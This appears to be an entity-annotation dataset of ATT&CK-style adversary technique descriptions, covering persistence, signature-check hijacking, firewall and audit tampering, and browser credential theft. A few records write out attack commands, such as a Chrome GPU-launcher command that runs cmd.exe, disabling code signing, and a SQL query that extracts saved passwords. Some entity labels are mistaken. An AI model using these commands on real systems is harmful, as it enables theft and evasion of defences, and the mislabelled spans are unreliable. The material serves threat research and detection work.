+{"text": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. \n\nAdversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> with the key value of <code>\"Authentication Packages\"=<target binary></code>. The binary will then be executed by the system when the authentication packages are loaded.", "spans": {"SYSTEM: Windows": [[0, 7], [361, 368]]}, "info": {"source": "apt_reports", "name": "Authentication Package"}}
+{"text": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).  Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value.  \n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to Process Injection, this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.  More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.", "spans": {"SYSTEM: Windows": [[36, 43]]}, "info": {"source": "apt_reports", "name": "Extra Window Memory Injection"}}
+{"text": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. Non-Standard Port).\n\nAdversaries may also modify host networking settings that indirectly manipulate system firewalls, such as interface bandwidth or network connection request thresholds. Settings related to enabling abuse of various Remote Services may also indirectly modify firewall rules.\n\nIn ESXi, firewall rules may be modified directly via the esxcli command line interface (e.g., via `esxcli network firewall set`) or via the vCenter user interface.", "spans": {"TOOL: RDP": [[613, 616]], "SYSTEM: ESXi": [[984, 988]], "SYSTEM: Windows": [[313, 320], [340, 347]], "SYSTEM: vCenter": [[1121, 1128]]}, "info": {"source": "apt_reports", "name": "Disable or Modify System Firewall"}}
+{"text": "An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.\n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.", "spans": {}, "info": {"source": "apt_reports", "name": "Archive Collected Data"}}
+{"text": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made  . Running a command from launchctl is as simple as <code>launchctl submit -l <labelName> -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\"</code>. Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.", "spans": {"SYSTEM: macOS": [[23, 28]]}, "info": {"source": "apt_reports", "name": "Launchctl"}}
+{"text": "Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode  digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,   which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. \n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs)  to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  ) and are identified by globally unique identifiers (GUIDs). \n\nSimilar to Code Signing, adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: \n\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP  (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP  (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via DLL search order hijacking.\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation.", "spans": {"TOOL: PowerShell": [[1054, 1064]], "SYSTEM: Windows": [[183, 190]], "ORGANIZATION: Microsoft": [[362, 371], [751, 760], [1654, 1663], [2033, 2042], [2475, 2484], [3324, 3333]], "VULNERABILITY: code execution": [[4009, 4023]], "VULNERABILITY: DLL search order hijacking": [[3910, 3936]]}, "info": {"source": "apt_reports", "name": "SIP and Trust Provider Hijacking"}}
+{"text": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.\n\nDGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.\n\nAdversaries may use DGAs for the purpose of Fallback Channels. When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.", "spans": {"DOMAIN: istgmxdejdnxuyla.ru": [[486, 505]], "DOMAIN: cityjulydish.net": [[679, 695]]}, "info": {"source": "apt_reports", "name": "Domain Generation Algorithms"}}
+{"text": "Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.\n\nA specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet. Executing browser-based behaviors such as pivoting may require specific process permissions, such as <code>SeDebugPrivilege</code> and/or high-integrity/administrator rights.\n\nAnother example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.", "spans": {"VULNERABILITY: session hijacking": [[201, 218]]}, "info": {"source": "apt_reports", "name": "Browser Session Hijacking"}}
+{"text": "Adversaries may use Valid Accounts to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP). They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter. \n\nLegitimate applications (such as Software Deployment Tools and other administrative programs) may utilize Remote Services to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including VNC to send the screen and control buffers and SSH for secure file transfer. Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.", "spans": {"TOOL: SSH": [[106, 109], [563, 566], [1147, 1150], [1350, 1353]], "TOOL: RDP": [[596, 599]], "TOOL: VNC": [[115, 118], [1100, 1103]], "SYSTEM: macOS": [[1001, 1006], [1299, 1304]], "SYSTEM: VMware": [[794, 800]], "SYSTEM: vCenter": [[801, 808]], "ORGANIZATION: Apple": [[971, 976]], "VULNERABILITY: code execution": [[1239, 1253]], "VULNERABILITY: remote code execution": [[1232, 1253]]}, "info": {"source": "apt_reports", "name": "Remote Services"}}
+{"text": "Adversaries may communicate using application layer protocols associated with electronic mail delivery to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nProtocols such as SMTP/S, POP3/S, and IMAP that carry electronic mail may be very common in environments.  Packets produced from these protocols may have many fields and headers in which data can be concealed. Data could also be concealed within the email messages themselves. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.", "spans": {}, "info": {"source": "apt_reports", "name": "Mail Protocols"}}
+{"text": "Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts.  \n\nMany organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Microsoft Entra ID includes three options for synchronizing identities between Active Directory and Entra ID:\n\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Entra ID, allowing authentication to Entra ID to take place entirely in the cloud \n* Pass Through Authentication (PTA), in which Entra ID authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Entra ID \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users’ identity and privileges. \n\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Entra ID, as well as records user credentials. In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.\n\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Entra ID tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Entra ID environment as any user.", "spans": {"SYSTEM: Entra ID": [[444, 452], [534, 542], [689, 697], [726, 734], [818, 826], [1074, 1082], [1666, 1674], [2184, 2192], [2325, 2333]], "SYSTEM: GCP": [[1160, 1163]], "SYSTEM: Active Directory": [[513, 529], [668, 684], [934, 950], [954, 970], [1053, 1069]], "SYSTEM: AWS": [[1152, 1155]], "ORGANIZATION: Microsoft": [[434, 443], [1769, 1778]], "MALWARE: Global": [[2149, 2155]]}, "info": {"source": "apt_reports", "name": "Hybrid Identity"}}
+{"text": "Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.\n\nThese scans may also include more broad attempts to Gather Victim Host Information that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts. Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Exploit Public-Facing Application).", "spans": {}, "info": {"source": "apt_reports", "name": "Vulnerability Scanning"}}
+{"text": "Adversaries may abuse cloud APIs to execute malicious commands. APIs available in cloud environments provide various functionalities and are a feature-rich method for programmatic access to nearly all aspects of a tenant. These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, PowerShell modules like Azure for PowerShell, or software developer kits (SDKs) available for languages such as Python.  \n\nCloud API functionality may allow for administrative access across all major services in a tenant such as compute, storage, identity and access management (IAM), networking, and security policies.\n\nWith proper permissions (often via use of credentials such as Application Access Token and Web Session Cookie), adversaries may abuse cloud APIs to invoke various functions that execute malicious actions. For example, CLI and PowerShell functionality may be accessed through binaries installed on cloud-hosted or on-premises hosts or accessed through a browser-based cloud shell offered by many cloud platforms (such as AWS, Azure, and GCP). These cloud shells are often a packaged unified environment to use CLI and/or scripting modules hosted as a container in the cloud environment.", "spans": {"TOOL: PowerShell": [[340, 350], [374, 384], [887, 897]], "SYSTEM: Python": [[452, 458]], "SYSTEM: GCP": [[1097, 1100]], "SYSTEM: AWS": [[1081, 1084]], "SYSTEM: Azure": [[364, 369], [1086, 1091]]}, "info": {"source": "apt_reports", "name": "Cloud API"}}
+{"text": "Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.\n\nAdversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).", "spans": {}, "info": {"source": "apt_reports", "name": "Search Open Technical Databases"}}
+{"text": "Adversaries may abuse components of the Electron framework to execute malicious code. The Electron framework hosts many common applications such as Signal, Slack, and Microsoft Teams. Originally developed by GitHub, Electron is a cross-platform desktop application development framework that employs web technologies like JavaScript, HTML, and CSS. The Chromium engine is used to display web content and Node.js runs the backend code.\n\nDue to the functional mechanics of Electron (such as allowing apps to run arbitrary commands), adversaries may also be able to perform malicious functions in the background potentially disguised as legitimate tools within the framework. For example, the abuse of `teams.exe` and `chrome.exe` may allow adversaries to execute malicious commands as child processes of the legitimate application (e.g., `chrome.exe --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\system32\\cmd.exe /c calc.exe`).\n\nAdversaries may also execute malicious content by planting malicious JavaScript within Electron applications.", "spans": {"FILEPATH: C:\\Windows\\system32\\cmd.exe": [[886, 913]], "TOOL: cmd.exe": [[906, 913]], "TOOL: cmd": [[906, 909]], "SYSTEM: Slack": [[156, 161]], "SYSTEM: GitHub": [[208, 214]], "SYSTEM: Signal": [[148, 154]], "SYSTEM: Windows": [[889, 896]], "SYSTEM: Microsoft Teams": [[167, 182]], "SYSTEM: Node.js": [[404, 411]], "ORGANIZATION: Microsoft": [[167, 176]]}, "info": {"source": "apt_reports", "name": "Electron Applications"}}
+{"text": "Adversaries may disable or modify the Linux audit system to hide malicious activity and avoid detection. Linux admins use the Linux Audit system to track security-relevant information on a system. The Linux Audit system operates at the kernel-level and maintains event logs on application and system activity such as process, network, file, and login events based on pre-configured rules.\n\nOften referred to as `auditd`, this is the name of the daemon used to write events to disk and is governed by the parameters set in the `audit.conf` configuration file. Two primary ways to configure the log generation rules are through the command line `auditctl` utility and the file `/etc/audit/audit.rules`,  containing a sequence of `auditctl` commands loaded at boot time.\n\nWith root privileges, adversaries may be able to ensure their activity is not logged through disabling the Audit system service, editing the configuration/rule files, or by hooking the Audit system library functions. Using the command line, adversaries can disable the Audit system service through killing processes associated with `auditd` daemon or use `systemctl` to stop the Audit service. Adversaries can also hook Audit system functions to disable logging or modify the rules contained in the `/etc/audit/audit.rules` or `audit.conf` files to ignore malicious activity.", "spans": {"FILEPATH: /etc/audit/audit.rules`,": [[676, 700]], "FILEPATH: /etc/audit/audit.rules`": [[1269, 1292]], "SYSTEM: Linux": [[38, 43], [105, 110], [126, 131], [201, 206]]}, "info": {"source": "apt_reports", "name": "Disable or Modify Linux Audit System"}}
+{"text": "Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC.  Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. \n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors).  The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform SID-History Injection and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence.", "spans": {"SYSTEM: Active Directory": [[77, 93], [200, 216]]}, "info": {"source": "apt_reports", "name": "Rogue Domain Controller"}}
+{"text": "Adversaries may modify code signing policies to enable execution of unsigned or self-signed code. Code signing provides a level of authenticity on a program from a developer and a guarantee that the program has not been tampered with. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on an operating system. \n\nSome of these security controls may be enabled by default, such as Driver Signature Enforcement (DSE) on Windows or System Integrity Protection (SIP) on macOS. Other such controls may be disabled by default but are configurable through application controls, such as only allowing signed Dynamic-Link Libraries (DLLs) to execute on a system. Since it can be useful for developers to modify default signature enforcement policies during the development and testing of applications, disabling of these features may be possible with elevated permissions.\n\nAdversaries may modify code signing policies in a number of ways, including through use of command-line or GUI utilities, Modify Registry, rebooting the computer in a debug/recovery mode, or by altering the value of variables in kernel memory. Examples of commands that can modify the code signing policy of a system include <code>bcdedit.exe -set TESTSIGNING ON</code> on Windows and <code>csrutil disable</code> on macOS. Depending on the implementation, successful modification of a signing policy may require reboot of the compromised system. Additionally, some implementations can introduce visible artifacts for the user (ex: a watermark in the corner of the screen stating the system is in Test Mode). Adversaries may attempt to remove such artifacts.\n\nTo gain access to kernel memory to modify variables related to signature checks, such as modifying <code>g_CiOptions</code> to disable Driver Signature Enforcement, adversaries may conduct Exploitation for Privilege Escalation using a signed, but vulnerable driver.", "spans": {"SYSTEM: macOS": [[517, 522], [1333, 1338]], "SYSTEM: Windows": [[469, 476], [1289, 1296]]}, "info": {"source": "apt_reports", "name": "Code Signing Policy Modification"}}
+{"text": "Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to Escape to Host and access other containers running on the node. \n\nContainers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow.  In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes. Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.", "spans": {"SYSTEM: Kubernetes": [[438, 448], [785, 795], [823, 833]], "SYSTEM: Docker": [[691, 697]]}, "info": {"source": "apt_reports", "name": "Deploy Container"}}
+{"text": "Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools.", "spans": {"TOOL: Sysinternals": [[590, 602]], "TOOL: cmd": [[525, 528]], "SYSTEM: Windows": [[582, 589]], "MALWARE: SDelete": [[603, 610]]}, "info": {"source": "apt_reports", "name": "File Deletion"}}
+{"text": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. \n\nAdversaries may gather private keys from compromised systems for use in authenticating to Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:\\Users\\(username)\\.ssh\\</code> on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.", "spans": {"FILEPATH: C:\\Users\\(username)\\.ssh": [[538, 562]], "TOOL: SSH": [[233, 236], [497, 500]], "SYSTEM: Windows": [[574, 581]], "VULNERABILITY: keylogging": [[699, 709]]}, "info": {"source": "apt_reports", "name": "Private Keys"}}
+{"text": "Adversaries may interact with the Windows Registry as part of a variety of other techniques to aid in defense evasion, persistence, and execution.\n\nAccess to specific areas of the Registry depends on account permissions, with some keys requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification. Other tools, such as remote access tools, may also contain functionality to interact with the Registry through the Windows API.\n\nThe Registry may be modified in order to hide configuration information or malicious payloads via Obfuscated Files or Information. The Registry may also be modified to Impair Defenses, such as by enabling macros for all Microsoft Office products, allowing privilege escalation without alerting the user, increasing the maximum number of allowed outbound requests, and/or modifying systems to store plaintext credentials in memory.\n\nThe Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system. Often Valid Accounts are required, along with access to the remote system's SMB/Windows Admin Shares for RPC communication.\n\nFinally, Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via Reg or other utilities using the Win32 API. Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence.", "spans": {"SYSTEM: Microsoft Office": [[724, 740]], "SYSTEM: SMB": [[1194, 1197]], "SYSTEM: Windows": [[34, 41], [287, 294], [490, 497], [1198, 1205]], "ORGANIZATION: Microsoft": [[724, 733]], "VULNERABILITY: privilege escalation": [[760, 780]]}, "info": {"source": "apt_reports", "name": "Modify Registry"}}
+{"text": "Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in <code>/System/Library/LaunchDaemons/</code> and <code>/Library/LaunchDaemons/</code>. Required Launch Daemons parameters include a <code>Label</code> to identify the task, <code>Program</code> to provide a path to the executable, and <code>RunAtLoad</code> to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the <code>RunAtLoad</code> parameter set to <code>true</code> and the <code>Program</code> parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. Masquerading). When the Launch Daemon is executed, the program inherits administrative permissions.\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as <code>usr/local/bin</code> to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.", "spans": {"SYSTEM: macOS": [[205, 210], [399, 404]]}, "info": {"source": "apt_reports", "name": "Launch Daemon"}}
+{"text": "An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a <code>DescribeInstances</code> API within the Amazon EC2 API that can return information about one or more instances within an account, the <code>ListBuckets</code> API that returns a list of all buckets owned by the authenticated sender of the request, the <code>HeadBucket</code> API to determine a bucket’s existence along with access permissions of the request sender, or the <code>GetPublicAccessBlock</code> API to retrieve access block configuration for a bucket. Similarly, GCP's Cloud SDK CLI provides the <code>gcloud compute instances list</code> command to list all Google Compute Engine instances in a project , and Azure's CLI command <code>az vm list</code> lists details of virtual machines. In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through Wordlist Scanning.\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user. The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as <code>DescribeDBInstances</code> to determine size, owner, permissions, and network ACLs of database resources.  Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in Cloud Service Discovery, this technique focuses on the discovery of components of the provided services rather than the services themselves.", "spans": {"SYSTEM: GCP": [[948, 951]], "SYSTEM: AWS": [[451, 454]], "SYSTEM: Azure": [[1095, 1100]], "ORGANIZATION: Amazon": [[512, 518]], "ORGANIZATION: Google": [[1044, 1050]]}, "info": {"source": "apt_reports", "name": "Cloud Infrastructure Discovery"}}
+{"text": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim’s cached logon credentials as the decryption key.\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager.\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", "spans": {"TOOL: expand": [[1438, 1444]], "SYSTEM: Edge": [[1018, 1022], [1076, 1080]], "SYSTEM: Safari": [[1010, 1016]], "SYSTEM: Chrome": [[499, 505], [561, 567]], "SYSTEM: Windows": [[432, 439], [796, 803], [1029, 1036], [1130, 1137]], "SYSTEM: Internet Explorer": [[1044, 1061]], "ORGANIZATION: Microsoft": [[1066, 1075]], "ORGANIZATION: Google": [[492, 498], [554, 560]]}, "info": {"source": "apt_reports", "name": "Credentials from Web Browsers"}}
+{"text": "Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike DLL search order hijacking, the search order differs depending on the method that is used to execute the program.    However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. \n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in DLL.", "spans": {"DOMAIN: net.com": [[1385, 1392], [1482, 1489]], "TOOL: net.exe": [[1215, 1222], [1267, 1274], [1420, 1427], [1503, 1510]], "TOOL: cmd.exe": [[1111, 1118], [1441, 1448]], "TOOL: cmd": [[1111, 1114], [1441, 1444]], "SYSTEM: Windows": [[452, 459], [659, 666], [749, 756], [1303, 1310]], "VULNERABILITY: DLL search order hijacking": [[516, 542]]}, "info": {"source": "apt_reports", "name": "Path Interception by Search Order Hijacking"}}
